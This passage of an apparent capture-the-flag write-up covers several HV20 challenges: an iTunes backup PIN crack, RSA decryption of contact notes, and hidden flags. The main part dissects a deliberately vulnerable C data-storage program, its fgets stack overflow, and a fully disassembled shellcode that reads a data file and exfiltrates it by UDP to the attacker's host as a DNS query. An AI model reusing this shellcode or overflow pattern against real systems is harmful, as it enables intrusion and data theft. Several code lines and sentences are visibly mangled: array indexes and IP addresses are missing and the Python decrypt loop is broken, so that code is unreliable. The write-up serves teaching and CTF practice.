kali@kali:~/hv20/23$ john -1='02' -mask=2?d?d?d?d?d?d?d hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (itunes-backup, Apple iTunes Backup [PBKDF2-SHA1 AES 256/256 AVX2 8x]) ... 20201225 (?) ...

Accordingly the PIN is 20201225.

At next we can e.g. use iBackupBot in order to decrypt the backup:

The contacts contains two entries: M and N. Both entries contain a large number within the notes:

In order to extract these numbers, we can export the file as a sqlite database and open it using sqlite3:

kali@kali:~/hv20/23$ sqlite3 AddressBook.sqlitedb SQLite version 3.31.0 2019-12-29 00:52:41 Enter ".help" for usage hints. sqlite> select * from ABPerson; 2|M||||||||6344440980251505214334711510534398387022222632429506422215055328147354699502|0||||||AÜ|AÜ|629844018|629844018|||||0|||A|A|0|0|-1||1|50808F95-A166-4290-97D3-3B9FA17073EB:ABPerson||||||||| 3|N||||||||77534090655128210476812812639070684519317429042401383232913500313570136429769|0||||||CÜ|CÜ|629844041|629844090|||||0|||C|C|0|0|-1||1|315422BB-B907-425D-9D68-7A4D94906B1B:ABPerson|||||||||

The Shamir hint within the challenge description points to RSA. We can factorize N using factordb.com:

The number M is the encrypted message. Since we now also have p and q, we can restore the private exponent d and decrypt the message with the following python script:

kali@kali:~/hv20/23$ cat decrypt0r.py #!/usr/bin/env python3 import gmpy2 m = 6344440980251505214334711510534398387022222632429506422215055328147354699502 p = 250036537280588548265467573745565999443 q = 310091043086715822123974886007224132083 n = p * q phi = (p-1)*(q-1) e = 65537 d = gmpy2.divm(1, e, phi) msg = gmpy2.powmod(m,d,n) msg = bytes.fromhex('%x'%msg) print(msg)

Running the script yields the flag:

kali@kali:~/hv20/23$ ./decrypt0r.py b'HV20{s0rry_n0_gam3_to_play}'

The flag is HV20{s0rry_n0_gam3_to_play}.

HV20.24 Santa's Secure Data Storage

Categories: Reverse Engineering
Network Security
In order to prevent the leakage of any flags, Santa decided to instruct his elves to implement a secure data storage, which encrypts all entered data before storing it to disk.

According to the paradigm Always implement your own crypto the elves designed a custom hash function for storing user passwords as well as a custom stream cipher, which is used to encrypt the stored data.

Santa is very pleased with the work of the elves and stores a flag in the application. For his password he usually uses the secure password generator shuf -n1 rockyou.txt.

Giving each other a pat on the back for the good work the elves lean back in their chairs relaxedly, when suddenly the intrusion detection system raises an alert: the application seems to be exploited remotely!


Santa and the elves need your help!

The intrusion detection system captured the network traffic of the whole attack.

How did the attacker got in? Was (s)he able to steal the flag?


This challenge was authored by myself. Originally the challenge was planned to have the source code included, but since it was released as the final challenge, we removed the source code to further increase the difficulty.

Within this writeup I assume to have source code access, so you can have a look at the original code down here.

The challenge provides a zip-archive, which contains the exploited application (data_storage) as well as a network traffic capture of the attack (attack.pcapng).

At first let's have a quick look at how the application is working.

When running the application we need to set a username and a password:

kali@kali:~$ ./data_storage welcome to santa's secure data storage! please login with existing credentials or enter new username ... username> test creating user 'test' ... please set your password (max-length: 19) password> 123456 welcome test!

At this point the application stored the hash of our password in the file data/test_pwd.txt:

kali@kali:~$ hexdump -C data/test_pwd.txt 00000000 eb d6 46 2f 7d 25 cc ee fa 75 4b 8b 68 5d b9 9d |..F/}%...uK.h]..| 00000010

After being logged in the following menu is displayed:

[0] show data [1] enter data [2] delete data [3] quit choice>

In order to store data, we select [1] enter data:


After we entered some data, a new file called test_data.txt is created, which contains our encrypted data:

kali@kali:~$ hexdump -C data/test_data.txt 00000000 ad 43 ce 2e 3f 33 4f d4 69 6f 16 5f e1 ec f6 97 |.C..?3O.io._....| 00000010 ba 54 de 3e 2f 32 4e 81 |.T.>/2N.| 00000018

By selecting [0] show data we can decrypt and display our data:

choice> 0 your secret data: TTTTTEEEEEEEESSSSSTTTTT

If we like to delete the data, we can select [2] delete data:

choice> 2 data deleted!

This simply deletes the file data/test_data.txt:

kali@kali:~$ hexdump -C data/test_data.txt hexdump: data/test_data.txt: No such file or directory

Since we now have a basic understanding of how the application works, let's have a look at the source code.

At first we want to figure out how the password is encrypted. The password handling is implemented in the function login_password:

void login_password() { char pwd_file[40] = {0}; char pwd[20] = {0}; snprintf(pwd_file, sizeof(pwd_file), "data/%s_pwd.txt", username); if (access(pwd_file, F_OK) != -1) { printf("found user '%s' ...\n", username); while (1) { printf("password> "); fgets(pwd, 20, stdin); pwd[strcspn(pwd, "\n")] = 0x00; if (check_pwd(pwd_file, pwd)) break; puts("wrong password!"); } } else { printf("creating user '%s' ...\nplease set your password (max-length: 19)\n", username); printf("password> "); fgets(pwd, 20, stdin); pwd[strcspn(pwd, "\n")] = 0x00; create_user(pwd_file, pwd); } printf("welcome %s!\n", username); }

At the beginning of the function the name of the file is constructed, which will contain our password hash. As we have already seen this is simply data/<USERNAME>_pwd.txt.

After this follows a check if the user exists or more specificly if the corresponding password hash file exists by calling the function access. If the file already exists, a password is read from stdin and verified by calling check_pwd. If the file does not exist, a new password is read from stdin and passed to the function create_user. Let's have a look at this function:

void create_user(char *pwd_file, char *pwd) { calc_hash(pwd, strlen(pwd), pwd_hash); FILE *fp = fopen(pwd_file, "w"); fwrite(pwd_hash, 1, HASH_LENGTH, fp); fclose(fp); }

The given password is passed to the function calc_hash, which seems to calculate the hash of our password. After this the hash is stored in the password hash file. Let's have a look at the function calc_hash:

void calc_hash(char *data, size_t len_data, char *hash) { unsigned long h[4] = {0x68736168, 0xdeadbeef, 0x65726f6d, 0xc00ffeee}; unsigned long a=h[0]; unsigned long b=h[1]; unsigned long c=h[2]; unsigned long d=h[3]; for (int i = 0; i < len_data; i++) { char x = data[i]; a ^= ((x^((x*(i+0x31))&0xff))<<24) | ((x^((x*(i+0x42))&0xff))<<16) | ((x^((x*(i+0xef))&0xff))<<8) | (x^((x*i)&0xff)); b ^= ((x^((x*(i+0xc0))&0xff))<<24) | ((x^((x*(i+0x11))&0xff))<<16) | ((x^((x*(i+0xde))&0xff))<<8) | (x^((x*i)&0x5a)); c ^= ((x^((x*(i+0xe3))&0xff))<<24) | ((x^((x*(i+0xde))&0xff))<<16) | ((x^((x*(i+0x0d))&0xff))<<8) | (x^((x*i)&0x22)); d ^= ((x^((x*(i+0x52))&0xff))<<24) | ((x^((x*(i+0x24))&0xff))<<16) | ((x^((x*(i+0x33))&0xff))<<8) | (x^((x*i)&0xef)); h[0] = d; h[1] = a; h[2] = b; h[3] = c; } *((unsigned long*)hash) = h[0]; *((unsigned long*)(hash+4)) = h[1]; *((unsigned long*)(hash+8)) = h[2]; *((unsigned long*)(hash+12)) = h[3]; }

The function basically initializes four dwords with a constant value, iterates over each character within the data to be hashed, performs some mathematical operations on the dwords based on the data and finally writes the new values to a resulting 16 bytes hash value.

Since we now have a basical idea how the password is hashed and stored to disk, let's see how the function check_pwd is implemented, which is called when the user already exists:

int check_pwd(char *pwd_file, char *pwd) { FILE *fp = fopen(pwd_file, "r"); size_t len = fread(pwd_hash, 1, sizeof(pwd_hash), fp); fclose(fp); if (len != HASH_LENGTH) return 0; char hash[HASH_LENGTH] = {0}; calc_hash(pwd, strlen(pwd), hash); return (memcmp(pwd_hash, hash, HASH_LENGTH) == 0); }

At first the stored password hash is read from disk. After this the hash for the entered password is calculated. At last both hashes are compared.

At next we would like to understand how the entered data is encrypted and stored. So let's have a look at the function enter_data:

void enter_data(char *data_file) { if (access(data_file, F_OK) != -1) { int choice; puts("existing data found!"); puts("[0] abort"); puts("[1] overwrite"); printf("choice> "); char buf[10]; fgets(buf, 10, stdin); choice = atoi(buf); if (choice != 1) return; } char data[100]; size_t len = 0; memset(data, 0x00, sizeof(data)); printf("data> "); fgets(data, 100, stdin); data[strcspn(data, "\n")] = 0x00; len = strlen(data); encrypt(data, pwd_hash); FILE *fp = fopen(data_file, "w"); fwrite(data, 1, len+1, fp); fclose(fp); }

At the beginning of the function is a check, if the data file already exists. If this is the case, the user is notified and can choose to abort or overwrite the stored data.

If the user chooses to overwrite existing data or if no data exists, fgets is called to read the user input into the variable data. This variable is then passed to the function encrypt along with the password hash stored in pwd_hash. Let's have a look at the function encrypt:

void encrypt(char *data, char *key) { int i = 0; while (data[i] != 0x00) { data[i] ^= keystream_get_char(i, key); i++; } data[i] ^= keystream_get_char(i, key); }

This function looks quite simple: it iterates over every byte of the given data and XORs it with a byte of the keystream generated by keystream_get_char until a null-byte is reached. The arguments to the keystream_get_char function are the position of the byte (i) as well as a key. Let's have a look at the function:

char keystream_get_char(int state, char *key) { char e[] = {0xde, 0xad, 0xbe, 0xef, 0xc0, 0x12, 0x34, 0x56, 0x78, 0x9a}; char c = key[state % 16]; unsigned long r = c^state^e; return (r&0xff); }

At the beginning of the function a byte array with some static values is initialized. The char variable c is set to a byte from the given key based on state, which was the variable i in the function encrypt. After this the variable r is calculated by XORing c, state and a byte from the array e (based on the value of c). At last the variable r is ANDed with 0xff in order to produce a single byte. This byte is then returned.

Finally let's have a look at the function show_data, which decrypts and shows the entered data:

void show_data(char *data_file) { if (access(data_file, F_OK) == -1) { puts("no data found!"); return; } char data[100]; memset(data, 0x00, sizeof(data)); FILE *fp = fopen(data_file, "r"); fread(data, 1, sizeof(data), fp); fclose(fp); decrypt(data, pwd_hash); printf("your secret data:\n%s\n", data); }

At first the existence of the data file is checked. If the file is existent, the encrypted data is read and decrypted again using the user's password hash as the key. The decrypted data is then displayed.

For the sake of completeness, let's take a quick look at the decrypt function:

void decrypt(char *data, char *key) { int i = 0; while ((data[i] ^= keystream_get_char(i, key)) != 0x00) { i++; } }

Not very suprisingly the function XORs every byte of the encrypted data with a byte of the keystream. This effectively decrypts the data.

Let's sum up our current analysis results:

  • the user's password hash is stored in the file data/<USERNAME>_pwd.txt
  • the password is hashed with a custom hash (calc_hash)
  • when logging in, the password hash for the user is read from disk and compared to the hash of the entered password
  • the data is encrypted using a custom stream cipher (keystream_get_char) with the user's password hash as the key and stored to data/<USERNAME>_data.txt
  • when the user chooses to display the data, the encrypted data is read from disk, decrypted using the user's password hash and finally displayed

Since we know have a fundamental understanding of the progam, let's have a look at the attack.

In order to make the application available remotely socat was used:

kali@kali:~$ cat server.sh #!/bin/bash socat TCP4-LISTEN:5555,reuseaddr,fork EXEC:./data_storage,stderr;

The provided network capture contains basically two interesting data flows. The first one is a TCP connection from to the server (, which seems to be the actual exploit.

Obviously the attacker used an account called evil0r with the password lovebug1. After this the attacker quit the application by providing a 3 in the menu. But after the number follows additional data, which looks very suspicious.

The second interesting item within the capture is a DNS request from the server to the attacker machine ( This actually looks like the attacker exfiltrated some data, although it does not seem to be in plaintext.

At first let's determine which vulnerability the attacker exploited. As we have already seen, the choice parameter of the attacker does not only contain a number (3), but also additional data. The function responsible for reading the menu choice is called show_menu:

void show_menu() { char data_file[40]; int choice; snprintf(data_file, sizeof(data_file), "data/%s_data.txt", username); while (1) { puts("[0] show data"); puts("[1] enter data"); puts("[2] delete data"); puts("[3] quit"); printf("choice> "); char buf[10]; fgets(buf, 1000, stdin); choice = atoi(buf); if (choice == 0) show_data(data_file); else if (choice == 1) enter_data(data_file); else if (choice == 2) delete_data(data_file); else if (choice == 3) { puts("good bye!"); return; } else puts("unknown choice!"); } }

There is actually a vulnerability within the function. The size provided to the call to fgets is 1000, although the passed buffer (buf) is only 10 bytes in size. This results in a buffer overflow, which can overwrite the return address on the stack.

In order to reach the return instruction, the attack provided 3 at the beginning of the payload. This way the function returns and the overwritten return address is loaded into the instruction pointer. After the 3 the payload contains a few AAAA.. in order to pad the payload to the actual return address. The return address will then be overwritten with the value 0x404110. If we search for this address in radare2, we can see that this is the address of the password hash:

kali@kali:~$ r2 -A data_storage ... [0x00401130]> is~404110 036 ---------- 0x00404110 LOCAL OBJ 16 pwd_hash

This means that the execution will continue at the password hash. In order to know which bytes are executed, we need to calculate the hash for the password the attacker entered (lovebug1). We can calculate the hash by locally creating a user with the same password and check the created data/<USERNAME>_pwd.txt file or by implementing an own python script:

#!/usr/bin/env python3 import sys def calc_hash(data): h = [0x68736168, 0xdeadbeef, 0x65726f6d, 0xc00ffeee] a = h[0] b = h[1] c = h[2] d = h[3] for i in range(len(data)): x = ord(data[i]) a ^= ((x^((x*(i+0x31))&0xff))<<24) | ((x^((x*(i+0x42))&0xff))<<16) | ((x^((x*(i+0xef))&0xff))<<8) | (x^((x*i)&0xff)) b ^= ((x^((x*(i+0xc0))&0xff))<<24) | ((x^((x*(i+0x11))&0xff))<<16) | ((x^((x*(i+0xde))&0xff))<<8) | (x^((x*i)&0x5a)) c ^= ((x^((x*(i+0xe3))&0xff))<<24) | ((x^((x*(i+0xde))&0xff))<<16) | ((x^((x*(i+0x0d))&0xff))<<8) | (x^((x*i)&0x22)) d ^= ((x^((x*(i+0x52))&0xff))<<24) | ((x^((x*(i+0x24))&0xff))<<16) | ((x^((x*(i+0x33))&0xff))<<8) | (x^((x*i)&0xef)) h[0] = d h[1] = a h[2] = b h[3] = c r = (h[0]).to_bytes(4, 'little')+(h[1]).to_bytes(4, 'little')+(h[2]).to_bytes(4, 'little')+(h[3]).to_bytes(4, 'little') return r print(calc_hash(sys.argv[1]).hex())

Accordingly the hash for the password lovebug1 is ffe4b28b699f2840ee21e51f3c23ed0f:

kali@kali:~$ ./calc_hash.py lovebug1 ffe4b28b699f2840ee21e51f3c23ed0f

If we disassemble this hash, we can see that the first instruction is jmp rsp:

kali@kali:~$ echo ffe4b28b699f2840ee21e51f3c23ed0f|xxd -r -p|ndisasm -b 64 - 00000000 FFE4 jmp rsp 00000002 B28B mov dl,0x8b 00000004 699F2840EE21E51F imul ebx,[rdi+0x21ee4028],dword 0x233c1fe5 -3C23 0000000E ED in eax,dx 0000000F 0F db 0x0f

This means that the execution will continue on the stack right after the return address. Accordingly this must be the actual shellcode the attacker used. In order to extract the shellcode, we start by copying the whole payload from wireshark. At next we can skip the beginning of the payload and store the shellcode in a file:

kali@kali:~$ echo 687478740048bf74...00f050a|xxd -r -p > payload

The shellcode can for example be disassembled by using radare2. We can see that there is a series of syscalls. Let's step through it one by one.

At first the string data/santa_data.txt is pushed on the stack and the syscall 2 = sys_open is executed:

kali@kali:~$ r2 -A payload ... [0x00000000]> pdf ... | 0x00000000 6874787400 push 0x747874 ; 'txt' | 0x00000005 48bf74615f64. movabs rdi, 0x2e617461645f6174 ; 'ta_data.' | 0x0000000f 57 push rdi | ; DATA XREF from fcn.00000000 @ 0xb4 | 0x00000010 48bf64617461. movabs rdi, 0x6e61732f61746164 ; 'data/san' | 0x0000001a 57 push rdi | 0x0000001b 4889e7 mov rdi, rsp | 0x0000001e 4831f6 xor rsi, rsi | 0x00000021 4831d2 xor rdx, rdx | 0x00000024 b802000000 mov eax, 2 | ; DATA XREF from fcn.00000000 @ 0x87 | 0x00000029 0f05 syscall

The returned file descriptor is moved to RDI. The value 0x100010000 is pushed onto the stack followed by the value 0 four times. RSI is set to the stack pointer (RSP) at this point. After this another two values are pushed onto the stack: 0x2000000000000001 and 0x13713000000. Finally the syscall 0 = sys_read is executed, reading a up to 20 bytes from the file data/santa_data.txt to the place on the stack, where to four 0 values were stored:

| 0x0000002b 4889c7 mov rdi, rax | 0x0000002e 48ba00000100. movabs rdx, 0x100010000 | 0x00000038 52 push rdx | 0x00000039 6a00 push 0 | 0x0000003b 6a00 push 0 | 0x0000003d 6a00 push 0 | 0x0000003f 6a00 push 0 | 0x00000041 4889e6 mov rsi, rsp | 0x00000044 48ba01000000. movabs rdx, 0x2000000000000001 ; 2305843009213693953 | 0x0000004e 52 push rdx | 0x0000004f 48ba00000013. movabs rdx, 0x13713000000 | 0x00000059 52 push rdx | 0x0000005a ba20000000 mov edx, 0x20 | 0x0000005f b800000000 mov eax, 0 | 0x00000064 0f05 syscall

The following instructions do not seem to be associated with any specific syscall. Within a loop each dword within the area, where the data from the file was read, is XORed with the value 0xdeadbeef:

| 0x00000066 4831c9 xor rcx, rcx | ; CODE XREF from fcn.00000000 @ 0x78 | .-> 0x00000069 81340eefbead. xor dword [rsi + rcx], 0xdeadbeef ; [0xdeadbeef:4]=-1 | : 0x00000070 4883c104 add rcx, 4 | : 0x00000074 4883f920 cmp rcx, 0x20 | `=< 0x00000078 75ef jne 0x69

At next a syscall 0x29 = sys_socket is executed. The first argument (family stored in RDI) is set to 2 = AF_INET. The second argument (type stored in RSI) is set to 2 = SOCK_DGRAM. The last argument (protocol stored in RDX) is set to zero. Accordingly a new UDP socket is created:

| 0x0000007a bf02000000 mov edi, 2 | 0x0000007f be02000000 mov esi, 2 | 0x00000084 4831d2 xor rdx, rdx | 0x00000087 b829000000 mov eax, 0x29 ; ')' ; 41 | 0x0000008c 0f05 syscall

The return file descriptor is stored in RDI. Two values are pushed onto the stack: 0 and 0x2a00a8c035000002. After this a syscall 0x2c = sys_sendto is executed. The pushed value contains the target address: 0x2a00a8c0 = The amounts of bytes send is 0x32 = 50:

| 0x0000008e 4889c7 mov rdi, rax | 0x00000091 4889e6 mov rsi, rsp | 0x00000094 4883c603 add rsi, 3 | 0x00000098 ba32000000 mov edx, 0x32 ; '2' ; 50 | 0x0000009d 41ba00000000 mov r10d, 0 | 0x000000a3 6a00 push 0 | 0x000000a5 49b802000035. movabs r8, 0x2a00a8c035000002 | 0x000000af 4150 push r8 | 0x000000b1 4989e0 mov r8, rsp | 0x000000b4 41b910000000 mov r9d, 0x10 | 0x000000ba b82c000000 mov eax, 0x2c ; ',' ; 44 | 0x000000bf 0f05 syscall

At last a syscall 0x3c = sys_exit is made, which gracefully terminates the process:

| 0x000000c1 bf00000000 mov edi, 0 | 0x000000c6 b83c000000 mov eax, 0x3c ; '<' ; 60 | 0x000000cb 0f05 syscall

Combining the analysis of the shellcode with the network capture, we can assume that the DNS request was triggered by the shellcode. The shellcode did not only send the bytes read from the file but also additional data, which makes the packet a valid DNS request. Also the data read from the file was XORed with the value 0xdeadbeef before being sent.

Using this knowledge, let's try to restore the contents of the file data/santa_danta.txt. We start by copying the query portion of the DNS request from wireshark. At next we store the data into a file. Please notice that the leading byte 0x20 is the size of the query string, which was statically added within the shellcode and is not part of the file contents read. Thus we must skip the 0x20:

kali@kali:~$ echo e5afe59d31aca3ca211ec379a673235edab6a08d2ed3b7b66b55857ec834227a0000010001|xxd -r -p>dns_exfil

In order to recover the original content of the data, we need to XOR every dword with the value 0xdeadbeef. The following python script does this:

#!/usr/bin/env python3 import sys d = open(sys.argv[1], 'rb').read() r = b'' for i in range(0, len(d), 4): r += (int.from_bytes(d[i:i+4], 'little')^0xdeadbeef).to_bytes(4, 'little') f = open(sys.argv[2], 'wb') f.write(r) f.close()

Executing the script will XOR every dword and store the result in the file dns_exfil_xor:

kali@kali:~$ ./x0r.py dns_exfil dns_exfil_xor

At this point the file dns_exfil_xor should contain the original data of the file data/santa_data.txt, which is the encrypted flag.

The last thing we need to do is to decrypt the data. As we have seen, the data is encrypted with the custom hash of Santa's password. We also know that Santa used a password from rockyou.txt. Thus we can calculate the hash for each password in the wordlist, decrypt the data using the hash as a key and verify if the decrypted data begins with HV20{. Again we can use the provided program / source code or implement an equivalent python script:

#!/usr/bin/env python3 import sys def keystream_get_char(state, key): e = [0xde, 0xad, 0xbe, 0xef, 0xc0, 0x12, 0x34, 0x56, 0x78, 0x9a] c = key[state%16] r = c^state^e return r&0xff def decrypt(data, key): r = b'' for i,c in enumerate(data): x = bytes() if (x == 0): break r += x return r def calc_hash(data): h = [0x68736168, 0xdeadbeef, 0x65726f6d, 0xc00ffeee] a = h[0] b = h[1] c = h[2] d = h[3] for i in range(len(data)): x = ord(data[i]) a ^= ((x^((x*(i+0x31))&0xff))<<24) | ((x^((x*(i+0x42))&0xff))<<16) | ((x^((x*(i+0xef))&0xff))<<8) | (x^((x*i)&0xff)) b ^= ((x^((x*(i+0xc0))&0xff))<<24) | ((x^((x*(i+0x11))&0xff))<<16) | ((x^((x*(i+0xde))&0xff))<<8) | (x^((x*i)&0x5a)) c ^= ((x^((x*(i+0xe3))&0xff))<<24) | ((x^((x*(i+0xde))&0xff))<<16) | ((x^((x*(i+0x0d))&0xff))<<8) | (x^((x*i)&0x22)) d ^= ((x^((x*(i+0x52))&0xff))<<24) | ((x^((x*(i+0x24))&0xff))<<16) | ((x^((x*(i+0x33))&0xff))<<8) | (x^((x*i)&0xef)) h[0] = d h[1] = a h[2] = b h[3] = c r = (h[0]).to_bytes(4, 'little')+(h[1]).to_bytes(4, 'little')+(h[2]).to_bytes(4, 'little')+(h[3]).to_bytes(4, 'little') return r data = open(sys.argv[1], 'rb').read() wl = '/usr/share/wordlists/rockyou.txt' words = open(wl, encoding='latin-1').read().split('\n')[:-1] for w in words: h = calc_hash(w) pt = decrypt(data, h) if (pt.startswith(b'HV20{')): print('pwd : ' + w) print('flag: ' + pt.decode('latin-1')) quit()

The scrips iterates the words in rockyou.txt, calculates the custom password hash for the word, decrypts the data using the password hash as the key and then determines, if the decrypted data begins with HV20{:

kali@kali:~$ ./brute_encrypt.py dns_exfil_xor pwd : xmasrocks flag: HV20{0h_n0es_fl4g_g0t_l34k3d!1}...

The flag is HV20{0h_n0es_fl4g_g0t_l34k3d!1}.

HV20.H1 It's a secret!

Categories: Opensource Intelligence
We hide additional flags in some of the challenges! This is the place to submit them. There is no time limit for secret flags.

By base64-decoding the .bin files in the cracked zip-archive from day 03, we can find the hidden flag within the file 0042.bin:

kali@kali:/tmp$ for i in `seq 0 99`; do c=$(printf "00%02d.bin" $i);echo $c;cat $c|base64 -d|strings; done ... 0042.bin ;>>>> HV20{it_is_always_worth_checking_everywhere_and_congratulations,_you_have_found_a_hidden_flag} <<<< ...

The flag is HV20{it_is_always_worth_checking_everywhere_and_congratulations,_you_have_found_a_hidden_flag}.

HV20.H2 Oh, another secret!

Categories: Opensource Intelligence
We hide additional flags in some of the challenges! This is the place to submit them. There is no time limit for secret flags.

The hidden flag is part of the challenge of day 14. Within the beginning of the diassembly, we can notice the following loop:

... | .-> 0000:0027 8a87f47c mov al, byte [bx + 0x7cf4] | : 0000:002b 8a8f9e7c mov cl, byte [bx + 0x7c9e] | : 0000:002f 84c0 test al, al | ,==< 0000:0031 7407 je 0x3a | |: 0000:0033 30c8 xor al, cl | |: 0000:0035 cd10 int 0x10 | |: 0000:0037 43 inc bx | |`=< 0000:0038 ebed jmp 0x27 ...

Obivously values from a data area referenced by byte [bx + 0x7cf4] and byte [bx + 0x7c9e] are moved to al and cl respectively. Both registers are then XORed and bx is incremented for the next iteration.

As I did not know the exact absolute address of the referenced data areas, we can leverage the fact that the relative offset for both addresses used for al and cl is the same. This offset is simply 0x7cf4-0x7c9e = 86.

Since the referenced data must be within the file, we can iterate over each byte and XOR it with the byte 86 positions ahead. This way we will finally hit the actually referenced data and get the XORed result:

kali@kali:~/hv20/h2$ cat x0r.py #!/usr/bin/env python3 ct = open('5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif','rb').read() r = b'' for i in range(len(ct)-86): r += bytes([ct[i]^ct[i+86]]) print(r)

Running the script outputs the hidden flag:

kali@kali:~/hv20/h2$ ./x0r.py b'...\x16\xcf&\xd4\r\nHV20{h1dd3n-1n-pl41n-516h7}\xd6s-...'

The flag is HV20{h1dd3n-1n-pl41n-516h7}.

HV20.H3 Hidden in Plain Sight

Categories: Opensource Intelligence
We hide additional flags in some of the challenges! This is the place to submit them. There is no time limit for secret flags.

Note: This is not a OSINT challenge. The icon has been chosen purely to consufe you.

The hidden flag is part of the challenge from day 23. When doing some initial greping on the backup data, I searched for a possibly base64-encoded flag:

kali@kali:~/hv20/23$ echo -n 'HV20{'|base64 SFYyMHs=

The address book actually contains the string:

kali@kali:~/hv20/23$ grep 'SFYyMH' AddressBook.sqlitedb Binary file AddressBook.sqlitedb matches

The base64-encoded flag is part of an URL:

kali@kali:~/hv20/23$ strings AddressBook.sqlitedb|grep SFYyMH http://SFYyMHtpVHVuM3NfYmFja3VwX2YwcmVuc2l4X0ZUV30=C66731B8-44AE-469B-9086-18A3A1F796B0 http://SFYyMHtpVHVuM3NfYmFja3VwX2YwcmVuc2l4X0ZUV30=

We simply need to decode it:

kali@kali:~/hv20/23$ echo SFYyMHtpVHVuM3NfYmFja3VwX2YwcmVuc2l4X0ZUV30=|base64 -d HV20{iTun3s_backup_f0rensix_FTW}

The flag is HV20{iTun3s_backup_f0rensix_FTW}.

Leave a Reply

Your email address will not be published. Required fields are marked *